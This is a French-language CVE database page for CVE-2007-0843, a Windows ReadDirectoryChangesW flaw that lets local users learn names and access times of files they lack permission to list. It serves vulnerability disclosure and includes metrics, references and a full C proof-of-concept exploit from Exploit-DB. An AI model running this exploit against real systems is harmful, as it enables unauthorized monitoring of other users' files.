CVE-2007-0843 : Détail

CVE-2007-0843

A01-Broken Access Control
0.05%V3
Local
2007-02-22
23h00 +00:00
2021-08-09
13h06 +00:00
CVE.org
NVD
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Descriptions du CVE

The ReadDirectoryChangesW API function on Microsoft Windows 2000, XP, Server 2003, and Vista does not check permissions for child objects, which allows local users to bypass permissions by opening a directory with LIST (READ) access and using ReadDirectoryChangesW to monitor changes of files that do not have LIST permissions, which can be leveraged to determine filenames, access times, and other sensitive information.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 29630

Date de publication : 2007-02-21 23h00 +00:00
Auteur : 3APA3A
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/22664/info Microsoft Windows is prone to a local information-disclosure vulnerability. A local attacker may leverage this issue to gain access to potentially sensitive information about user permissions and accessed files. Information gained may aid in further attacks against the affected computer. /* Monitors directory changes (c) 2006-2007 Vladimir Dubrovin, 3APA3A http://securityvulns.com/ http://securityvulns.ru/ */ #include <windows.h> #include <stdio.h> #include <string.h> int main(int argc, char *argv[]){ HANDLE hDir; char buf[1024]; FILE_NOTIFY_INFORMATION * fn; int read; WCHAR * action = NULL; if(argc != 2) { printf( "Usage: %s <directory_path>\n" " Monitor directory changes with all subdirectories\n" " For any files, including ones you have no access\n" " (as on January, 2007)\n" "(c) Vladimir Dubrovin, 3APA3A\n" " http://securityvulns.com\n" " http://securityvulns.ru\n" "This approach is not reliable and should not be used for audit and another critical operations.\n", argv[0]); return 1; } CreateDirectory(argv[1], 0); hDir = CreateFile( argv[1], FILE_LIST_DIRECTORY, FILE_SHARE_READ|FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL ); if(hDir == INVALID_HANDLE_VALUE){ fprintf(stdout, "Failed to open dir\n"); return 2; } for(;;){ if(!ReadDirectoryChangesW( hDir, buf, 1022, 1, FILE_NOTIFY_CHANGE_DIR_NAME | FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_LAST_ACCESS | FILE_NOTIFY_CHANGE_ATTRIBUTES | FILE_NOTIFY_CHANGE_SIZE | FILE_NOTIFY_CHANGE_LAST_WRITE | FILE_NOTIFY_CHANGE_CREATION | FILE_NOTIFY_CHANGE_SECURITY , (DWORD *)&read, NULL, NULL )) { fprintf(stderr, "Failed to read directory changes\n"); break; } for (fn = (FILE_NOTIFY_INFORMATION *)buf; ;){ fn->FileName[fn->FileNameLength/2] = 0; switch(fn->Action){ case FILE_ACTION_ADDED: action = L"added"; break; case FILE_ACTION_REMOVED: action = L"removed"; break; case FILE_ACTION_MODIFIED: action = L"accessed/modified"; break; case FILE_ACTION_RENAMED_OLD_NAME: action = L"renamed (old name)"; break; case FILE_ACTION_RENAMED_NEW_NAME: action = L"renamed (new name)"; break; default: action = L"(unknown)"; } wprintf(L"File %s: %s\n", action, fn->FileName); if(!fn->NextEntryOffset) break; fn = (FILE_NOTIFY_INFORMATION *)(((char *)fn) + fn->NextEntryOffset); } } return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    Références

    http://www.securityfocus.com/bid/22664
    Tags : vdb-entry, x_refsource_BID
    http://secunia.com/advisories/24245
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.vupen.com/english/advisories/2007/0701
    Tags : vdb-entry, x_refsource_VUPEN
    http://osvdb.org/33474
    Tags : vdb-entry, x_refsource_OSVDB
    http://securityreason.com/securityalert/2282
    Tags : third-party-advisory, x_refsource_SREASON